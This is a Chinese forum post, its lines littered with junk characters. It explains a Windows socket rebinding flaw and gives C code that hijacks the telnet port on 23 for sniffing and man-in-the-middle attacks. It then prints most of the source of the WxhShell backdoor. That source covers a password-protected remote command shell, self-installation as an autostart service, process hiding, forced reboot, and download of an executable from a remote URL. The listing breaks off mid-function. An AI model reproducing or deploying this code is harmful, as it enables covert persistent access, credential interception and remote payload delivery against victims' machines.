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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xt$Y&Ho  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N)  
f<3lxu  
  saddr.sin_family = AF_INET; af}JS2=$  
E[c6*I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Dh)(?"^9A  
REJHh\:.77  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #bGYd}BfD  
WUGFo$ xA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %8?XOkH)  
F+ <Z%KuCu  
  这意味着什么?意味着可以进行如下的攻击: > QG@P  
pLtK:Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O-qpB;|  
P5&8^YV`N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {ukQBu#}<  
!twYjOryH[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N;i\.oY  
/NQ PTr  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t/h,-x  
Sgn<=8,6c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'j\mz5#s  
DJ|lel/'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wx_j)Wij6  
- 9a4ej5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fxc?+<P  
"0J;H#Y"#  
  #include !k!1 h%7q  
  #include | &/_{T  
  #include e;9x%kNs!  
  #include    d^d+8R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M# cJ&+rP  
  int main() gPIl:, d(  
  { !EGpI@  
  WORD wVersionRequested; E_Fm5zb?X  
  DWORD ret; Hh* KcIRX  
  WSADATA wsaData; UHBMl>~z  
  BOOL val; ?b\oM v5y  
  SOCKADDR_IN saddr; Z=(Tq1t  
  SOCKADDR_IN scaddr; qI*7ToBJ  
  int err; hp}JKj@  
  SOCKET s; -!IeP]n#P  
  SOCKET sc; =4gPoS  
  int caddsize; |2Uw8M7.E  
  HANDLE mt; 3e)$<e  
  DWORD tid;   {2U3   
  wVersionRequested = MAKEWORD( 2, 2 ); )oy+-1dE  
  err = WSAStartup( wVersionRequested, &wsaData ); y-mjfW`n  
  if ( err != 0 ) { +QeA*L$~  
  printf("error!WSAStartup failed!\n"); SZ~lCdWad  
  return -1; ; KT/;I  
  } 8LUl@!4b  
  saddr.sin_family = AF_INET; JV?d/[u,  
   ':]Hj8t_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M"yOWD~s~  
XC4wm#R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GIhFOK  
  saddr.sin_port = htons(23); 'u6n,yRm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a&u!KAQ  
  { %uvA3N>  
  printf("error!socket failed!\n"); $f+cd8j?o  
  return -1; HJt '@t=Ak  
  } 6xx(o  
  val = TRUE; Wu'9ouw!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A[uB)wWsn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &FWz7O>1  
  { lLLPvW[Q  
  printf("error!setsockopt failed!\n"); WG +]  
  return -1; ~bz$]o-<  
  } 9K-,#a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uo bQS!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vb3hDy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 FIx|4[&>S  
Tt4Q|"CJA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3!`_Q%  
  {  2.'hr/.  
  ret=GetLastError(); &ju.5v|  
  printf("error!bind failed!\n"); !\cVe;<r  
  return -1; MhIHfW]b  
  } 3rX 40>Cs8  
  listen(s,2); dF*M"|[  
  while(1) XXxH<E$p  
  { g @NwW&  
  caddsize = sizeof(scaddr); >96+s)T%;  
  //接受连接请求 l[[^]__  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X6xs@tgQ  
  if(sc!=INVALID_SOCKET) m@2=v q1f  
  { Y++n0sK5<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t+D= @"BZP  
  if(mt==NULL) Nw1Bn~yx<R  
  { `> +:38  
  printf("Thread Creat Failed!\n"); Q=Liy@/+!  
  break; o>|DT(Ib  
  } 8+H 0  
  } H~bbkql  
  CloseHandle(mt); H3( @Q^9  
  } )>@%;\qV  
  closesocket(s); ?} lqu7S  
  WSACleanup(); L nyow}  
  return 0; Pk=0pHH8q  
  }   h.kjJF  
  DWORD WINAPI ClientThread(LPVOID lpParam) U5p3b;  
  { `uC^"R(m  
  SOCKET ss = (SOCKET)lpParam; JF=T_SH^U  
  SOCKET sc; z<gII~%  
  unsigned char buf[4096]; TeFi[1  
  SOCKADDR_IN saddr; \"w+4}  
  long num; wj5,_d)  
  DWORD val; b*ja,I4  
  DWORD ret; ;te( {u+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0[ (kFe  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D[)_ f  
  saddr.sin_family = AF_INET; N:~4>p44[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a'r1or4  
  saddr.sin_port = htons(23); }KT$J G?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UhJ!7Ws$  
  { E&f/*V^  
  printf("error!socket failed!\n"); PcI~,e%  
  return -1; <'\!  
  } 7spZe"  
  val = 100; 4*HBCzr7[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N 6> rU  
  { #qv!1$}2  
  ret = GetLastError(); u=Xpu,q  
  return -1; P"o|kRO  
  } *$Zy|&[Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +O^}  t  
  { I'[;E.KU  
  ret = GetLastError(); Rtlc&Q.b  
  return -1; VP<LY/'f  
  } QL*RzFAD 3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (G(M"S SC  
  { >XX93  
  printf("error!socket connect failed!\n"); fYpJ2y-sA  
  closesocket(sc); { ft |*  
  closesocket(ss); | GN/{KH]  
  return -1; 'p@m`)Z  
  } N-q6_  
  while(1) q$"?P  
  { .`(YCn?\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .1z=VLKF'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hBV m; `  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pl$wy}W-  
  num = recv(ss,buf,4096,0); $wDSED -  
  if(num>0) |*M07Hc x  
  send(sc,buf,num,0); 9e.$x%7j  
  else if(num==0) &eqqgLz  
  break; w9n0p0xr<  
  num = recv(sc,buf,4096,0); T(Bcp^N  
  if(num>0) J'tJY% `  
  send(ss,buf,num,0); T#i~/  
  else if(num==0) m/,80J8L+f  
  break;  J%T=FU  
  } oTx>oM,  
  closesocket(ss); J #jFX F\  
  closesocket(sc); ;mC|> wSZ  
  return 0 ; y]+[o1]-c  
  } {fjBa,o #  
0A-yQzL|  
#lMC#Ld  
========================================================== ,_s.amL3O{  
fjY:u,5V_  
下边附上一个代码,,WXhSHELL ei"c|/pO  
[j0jAl  
========================================================== J8ScKMUN2  
@(+\*]?^&  
#include "stdafx.h" %UhLCyC/  
sx]{N  
#include <stdio.h> Qvel#*-4  
#include <string.h> -yb7s2o  
#include <windows.h> kD7'BP/#  
#include <winsock2.h> _18Z]XtX  
#include <winsvc.h> 5NhAb$q2Y  
#include <urlmon.h> H9(UzyN>i  
W39J)~D^@  
#pragma comment (lib, "Ws2_32.lib") 6q!Q(_  
#pragma comment (lib, "urlmon.lib") u J]uz%  
GG-b)64h`  
#define MAX_USER   100 // 最大客户端连接数 [:q J1^UU  
#define BUF_SOCK   200 // sock buffer f6nuh&!-  
#define KEY_BUFF   255 // 输入 buffer UZmo?&y  
d|)ARRW  
#define REBOOT     0   // 重启 #p]V?  
#define SHUTDOWN   1   // 关机 uy~$ :0o  
A (p^Q  
#define DEF_PORT   5000 // 监听端口 BPm" )DMo  
qg|ark*1u  
#define REG_LEN     16   // 注册表键长度 L3'isaz&^  
#define SVC_LEN     80   // NT服务名长度 xg8R>j  
:RwURv+kT  
// 从dll定义API hwQ|'^(@O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]6s/y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W]_a_5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H K J^6|'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l*huKSX}  
eVB43]g  
// wxhshell配置信息 }2:q#}"  
struct WSCFG { \I^"^'CP  
  int ws_port;         // 监听端口 y7+n*|H  
  char ws_passstr[REG_LEN]; // 口令 D:?"Rf{)  
  int ws_autoins;       // 安装标记, 1=yes 0=no !%DE(E*'(  
  char ws_regname[REG_LEN]; // 注册表键名 _n{_\/A6f  
  char ws_svcname[REG_LEN]; // 服务名 UEt78eN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H q?F@X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?L H[,8z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cfRUVe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^:mKTiA-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %M/L/_d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <|]i3_Z  
U2tgBF?)A  
}; r`.Bj0  
j]` hy"  
// default Wxhshell configuration ~D`R"vzw=  
struct WSCFG wscfg={DEF_PORT, }_}    
    "xuhuanlingzhe", bj0<A  
    1, #W l^!)#j?  
    "Wxhshell", %_CL/H   
    "Wxhshell", .Cs'@[Ciy  
            "WxhShell Service", .IVKgQ B  
    "Wrsky Windows CmdShell Service", *uP;rUY  
    "Please Input Your Password: ", -N5h`Ii7  
  1, <eP,/H  
  "http://www.wrsky.com/wxhshell.exe", 0NU3% 4?  
  "Wxhshell.exe" qm'@o -[  
    }; X+<9 -]=  
9`5.0**  
// 消息定义模块 Ktvs*.?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6}0_o[23  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ( ]0F3@k#s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vb]uO ' l  
char *msg_ws_ext="\n\rExit."; W(?J,8>  
char *msg_ws_end="\n\rQuit."; 2"j&_$#l5X  
char *msg_ws_boot="\n\rReboot..."; i,% N#  
char *msg_ws_poff="\n\rShutdown..."; Pgq(yPC  
char *msg_ws_down="\n\rSave to "; 2 e#"JZ=  
^k{/Yl  
char *msg_ws_err="\n\rErr!"; g>eWX*Pa|  
char *msg_ws_ok="\n\rOK!"; i_+e&Bjd4j  
vRD(* S9^  
char ExeFile[MAX_PATH]; VS>hi~j  
int nUser = 0; lw?C:-m  
HANDLE handles[MAX_USER]; |2 =w":2#  
int OsIsNt; (~! @Uz5  
.y_~mr&d  
SERVICE_STATUS       serviceStatus; )"|wWu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CdcB E.%<  
p]?eIovi  
// 函数声明 zf5%|7o  
int Install(void); ZCb@!V}=  
int Uninstall(void); <{hB&4oL  
int DownloadFile(char *sURL, SOCKET wsh); 20}]b* C}  
int Boot(int flag); Zm|il9y4m  
void HideProc(void); mo= @Zt  
int GetOsVer(void); <7B;_3/  
int Wxhshell(SOCKET wsl); /R?*i@rvf  
void TalkWithClient(void *cs); G&MO(r}B  
int CmdShell(SOCKET sock); Z![#Uz.z  
int StartFromService(void); 3-n&&<  
int StartWxhshell(LPSTR lpCmdLine); \ $t{K  
NwQ$gDgu t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3UZ_1nY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4`cfFowK~  
b j<T`M!  
// 数据结构和表定义 NNTrH\SU #  
SERVICE_TABLE_ENTRY DispatchTable[] = t\!5$P  
{ RZSEcRlN  
{wscfg.ws_svcname, NTServiceMain}, :B|rs&  
{NULL, NULL} #)#'^MZX  
};  2t  
;A*sub  
// 自我安装 RU=g|TL  
int Install(void) ^YfAsBs&  
{ 3/& |Z<f  
  char svExeFile[MAX_PATH]; z~v-8aw  
  HKEY key; k<f0moxs'  
  strcpy(svExeFile,ExeFile); F8{T/YhZ  
66+]D4(k  
// 如果是win9x系统,修改注册表设为自启动 9)j"|5H  
if(!OsIsNt) { KBI 1t$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t=p"nIE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *laFG <;  
  RegCloseKey(key); 3O2vY1Y2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QV*la=j/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0TICv2l!  
  RegCloseKey(key); VeQ [A?pER  
  return 0; 1hV&/Qr  
    } /w2IL7}  
  } ~{kA;uw  
} >SYOtzg%  
else { je>gT`8  
@wP.Rd  
// 如果是NT以上系统,安装为系统服务 _n4`mL8>kH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c\tw#;\9  
if (schSCManager!=0) Ls.g\Gl3  
{ BP4vOZ0$  
  SC_HANDLE schService = CreateService gB,Q4acjj  
  ( 4xFAFK~lx  
  schSCManager, @:!%Z`  
  wscfg.ws_svcname, mt e3k=17  
  wscfg.ws_svcdisp, `fVzY"Qv k  
  SERVICE_ALL_ACCESS, fg1uqS1rg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hKsx7`[  
  SERVICE_AUTO_START, pH@yE Vf  
  SERVICE_ERROR_NORMAL, _nw\ac#*  
  svExeFile, +l7Bu}_?  
  NULL, /\1Q :B3W  
  NULL, #}Ays#wA>?  
  NULL, wc~9zh  
  NULL, Tilr%D(Q  
  NULL i@<w"yNd_  
  ); (m.jC}J  
  if (schService!=0) y%YP  
  { DAEWa Kui  
  CloseServiceHandle(schService);  e+@.n  
  CloseServiceHandle(schSCManager); 7bJM $  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >S?7-2X  
  strcat(svExeFile,wscfg.ws_svcname); kaDn= ={YM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { : R8+jO   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y92<(ziaX)  
  RegCloseKey(key); >4#\ U!  
  return 0; otP2qAI  
    } )S_ %Ip  
  } )MX%DQw  
  CloseServiceHandle(schSCManager); %U1HvmyK  
} 0nlh0u8#  
} z:{R4#(Q  
:+ "JPF4X  
return 1; A+3=OBpkW0  
} O9{A)b!HB  
8R;E+B{  
// 自我卸载 BMhuM~?(  
int Uninstall(void) lPlJL`e  
{ Mq6_Q07  
  HKEY key; `]Vn[^?D  
$,T3vX]<  
if(!OsIsNt) { .3 ^*_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q#Ik3 5  
  RegDeleteValue(key,wscfg.ws_regname); Yc(lY N  
  RegCloseKey(key); _ `7[}M~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pp|pH|(n ,  
  RegDeleteValue(key,wscfg.ws_regname); fK=vLcH  
  RegCloseKey(key); wp-3U}P2(  
  return 0; 23q2u6.F`  
  } `7',RUj|D  
} rO1.8KKJ  
} N=:xyv  
else { u)ZZ/|  
['0^gN$:e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IRI<no  
if (schSCManager!=0) c;R .rV<  
{ 8EI&}I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z,b^f Vw  
  if (schService!=0) a+\s0Qo<  
  { HMR!XF&JjC  
  if(DeleteService(schService)!=0) { 8ZO~=e  
  CloseServiceHandle(schService); Gv\fF;,R  
  CloseServiceHandle(schSCManager); nON "+c*  
  return 0; v/wR) 9  
  } 061f  
  CloseServiceHandle(schService); Ob -k`@_|  
  } An !i  
  CloseServiceHandle(schSCManager); NW Pd~l+  
} .GPuKP|  
} h3A|nd>\  
j;*= ^s  
return 1;  aK9zw  
} MK4CggoC  
'}NH$ KA  
// 从指定url下载文件 c-a;nAR  
int DownloadFile(char *sURL, SOCKET wsh) %M05& <  
{ 2{#=Ygb0  
  HRESULT hr; 8L(KdDY  
char seps[]= "/"; S'v UxOAo  
char *token; H Sk}09GV  
char *file; .ZH5^Sv$vp  
char myURL[MAX_PATH]; :.\h.H;  
char myFILE[MAX_PATH]; XpOQBXbt  
HM\gOz  
strcpy(myURL,sURL); %w6lNl  
  token=strtok(myURL,seps); .s@[-! p  
  while(token!=NULL) #.\X% !  
  { N" oJ3-~  
    file=token; %] 7.E  
  token=strtok(NULL,seps); ^KFwO=I@PV  
  } HC ?XNR&  
V{kgDpB  
GetCurrentDirectory(MAX_PATH,myFILE); cK+)MFOu+  
strcat(myFILE, "\\"); CB?H`R pC.  
strcat(myFILE, file); (fWQ?6[  
  send(wsh,myFILE,strlen(myFILE),0); G{oM2`c'#8  
send(wsh,"...",3,0); p&;,$KDA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :~9F/Jx  
  if(hr==S_OK) w9a6F  
return 0; MT@Uu  
else SkA"MhX  
return 1; '~'3x4Bo  
@BXV>U2B{  
} tA{<)T  
x68s$H  
// 系统电源模块 ~# |p=Y  
int Boot(int flag) /d-7n|#E  
{ *CXVA&?  
  HANDLE hToken; \(ZOt.3!J  
  TOKEN_PRIVILEGES tkp; t\C[mw  
YY<e]CriU  
  if(OsIsNt) { yh Ymbu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gG=E2+=uy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bDPT1A`F  
    tkp.PrivilegeCount = 1; gs77")K&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /-ky'S9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bga2{<VF  
if(flag==REBOOT) { :dzam HbX9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -n~VMLd?@  
  return 0; 1{S" axSL  
} V]9 ?9-r  
else { 3bPvL/\Lb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'H,l\i@"  
  return 0; K<+h/Ok  
} nS1 D&;#Y  
  } {%b-~& F9  
  else { NASRr  
if(flag==REBOOT) { nEm+cHHo?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZK]C!8\2|  
  return 0; ,Z I"+v  
} C,D~2G  
else { Ie?C<(8Ul  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KmkPq]  
  return 0; qcfLA~y  
} &6 L{1  
} zW^@\kB0D  
bmO[9 )G  
return 1; RtR]9^:~  
} )y:~T\g  
VscEdtkd  
// win9x进程隐藏模块 uIvE~<  
void HideProc(void) 6^.<5SJ}  
{ O(PG"c  
u-7/4Y)c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U.G**v  
  if ( hKernel != NULL ) ;[@< ,  
  { Ui 7S8c#tH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u1&pJLK0[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3say&|kJ  
    FreeLibrary(hKernel); LdAfY0  
  } "tbKKh66  
/ %U+kW  
return; a ^b_&}y  
} Bn/ {J  
GV([gs  
// 获取操作系统版本 igsJa1F  
int GetOsVer(void) X &6p_Lo  
{ i1 ?H*:]  
  OSVERSIONINFO winfo; iVt6rX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x,z+l-y  
  GetVersionEx(&winfo); NQ!jkojD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pz1pEyuL  
  return 1; 2, ` =i  
  else [L,Tf_t^Y  
  return 0; ,r{\aW@  
} /AP@Bhm  
F"3PP ~  
// 客户端句柄模块 oToUpkAI  
int Wxhshell(SOCKET wsl) R1FBH:Iu  
{ _{6QvD3kg.  
  SOCKET wsh; X/TuiKe  
  struct sockaddr_in client; [(Pm\o  
  DWORD myID; @twClk.s  
(yCF pb  
  while(nUser<MAX_USER) #|34(ML  
{ ;z>)&F  
  int nSize=sizeof(client); hX]vZR&R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M yr [  
  if(wsh==INVALID_SOCKET) return 1; 40oRO0p  
&gZ5dTj>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]w(i,iJ  
if(handles[nUser]==0) 2*5Z| 3aX  
  closesocket(wsh); ~w'M8(  
else t+5JIQY>  
  nUser++; RJ1 Q.o  
  } -1~bWRYq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mjrl KI}f/  
o@r+Y  
  return 0; e qQAst#~  
} m#mM2Guxe  
!h{qO&ZH=  
// 关闭 socket 2`Xy}9N/Y  
void CloseIt(SOCKET wsh) z)r)w?A  
{ bH&Cbme90-  
closesocket(wsh); w3c[t~R8  
nUser--; DJ;G0*  
ExitThread(0); d$/BF&n  
} U&|=dH]-  
GM{m(Y  
// 客户端请求句柄 $cFanra  
void TalkWithClient(void *cs) 7^h?<X\  
{ *Y6BPFE*4  
"*WzoRA={  
  SOCKET wsh=(SOCKET)cs; =m=`|Bn  
  char pwd[SVC_LEN]; !12W(4S5  
  char cmd[KEY_BUFF]; H~1*`m  
char chr[1]; -#H>kbs  
int i,j; ^ S'}RZ*>  
;GO>#yg4Eh  
  while (nUser < MAX_USER) { E@aR5S>  
oW(p (>  
if(wscfg.ws_passstr) { RZ9vQ\X U)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7E4=\vM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eZ y)>.6Z  
  //ZeroMemory(pwd,KEY_BUFF);  ;OQ{  
      i=0; |0ahvsrtW  
  while(i<SVC_LEN) { Funep[rA  
xj iMM>|n  
  // 设置超时 !dYkvoQNn  
  fd_set FdRead; xCD|UC46?X  
  struct timeval TimeOut; Sb+pB58&N  
  FD_ZERO(&FdRead); hVI $r  
  FD_SET(wsh,&FdRead); Y(ly0U}  
  TimeOut.tv_sec=8; r>sk@[4h  
  TimeOut.tv_usec=0; @!&\Z[",  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ aQBzEX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {n=)<w  
 z@^l1)m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0m6Vf x  
  pwd=chr[0]; Ps(3X@  
  if(chr[0]==0xd || chr[0]==0xa) { i=@.u=:  
  pwd=0; B5aFt ;Vj  
  break; 8'_>A5L/C  
  } MOY.$M,1  
  i++; sXkWs2!  
    } %p)6m 2Sb  
|j$&W;yC  
  // 如果是非法用户,关闭 socket IY?[0S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gR"'|c   
} F`3c uL[N  
dX: (%_Mn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); at${^,&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z@^[.  
meT~b  
while(1) { C] qY  
z _~f/  
  ZeroMemory(cmd,KEY_BUFF); &i4*tE3],  
Gvw4ot/  
      // 自动支持客户端 telnet标准   ~mx me6"v  
  j=0; 7OG=LF*V-  
  while(j<KEY_BUFF) { aR ao\Wp|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p#) u2^  
  cmd[j]=chr[0]; V|ax(tHv  
  if(chr[0]==0xa || chr[0]==0xd) { 2cr~/,YY  
  cmd[j]=0; MQY^#N  
  break; L"A,7@:Vd  
  } g8 ,V( ^  
  j++; RyKsM.   
    } V03U"eI="  
ttuQ ,SD  
  // 下载文件 *g]q~\b/;  
  if(strstr(cmd,"http://")) { z;@;jQ7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  pI|Lt  
  if(DownloadFile(cmd,wsh)) uuHR!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X90VJb]  
  else )uiYu3 I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lnbbv  *  
  } fDhV *LqW  
  else { U0q{8 "Pl  
LCx{7bN1ro  
    switch(cmd[0]) { O&Q_ vY  
  FA<|V!a  
  // 帮助 R<@s]xX_  
  case '?': { M5s>;q)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j|TcmZGO  
    break; N}b/; Y  
  } kB {  
  // 安装 o8.KakrPP  
  case 'i': { 0m $f9b|Q?  
    if(Install()) ^A dHP!I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O%;H#3kn&s  
    else %eB0 )'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y{+$B Y$_  
    break; :2iNw>z1  
    } h`X)sC+  
  // 卸载 %bgjJ`  
  case 'r': { "i_I<?aGB  
    if(Uninstall()) ~+}w>jIm{|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S#6{4x4  
    else Fxdu)F,~u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z %{Z  
    break; e`zx#v  
    } oa$-o/DhB  
  // 显示 wxhshell 所在路径 {m~.'DU  
  case 'p': { \7rFfN3  
    char svExeFile[MAX_PATH]; QE*O~Yj  
    strcpy(svExeFile,"\n\r"); 16ahU$@-  
      strcat(svExeFile,ExeFile); ~A2{$C  
        send(wsh,svExeFile,strlen(svExeFile),0); Rd@34"O  
    break; _^;+_6&[  
    } ~=91Kxf  
  // 重启 A&X(\c M  
  case 'b': { EjW3_ %  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~sT/t1Rp  
    if(Boot(REBOOT)) EITA[Ba B`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L)W1bW}  
    else { /|V!2dQs"  
    closesocket(wsh); (|+Sbq(o  
    ExitThread(0); huFT_z_;;  
    } @TF^6)4f  
    break; Uyf<:8U\  
    } L[o;@+32  
  // 关机 m}&cXY  
  case 'd': { vaN}M)W/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u UXj  
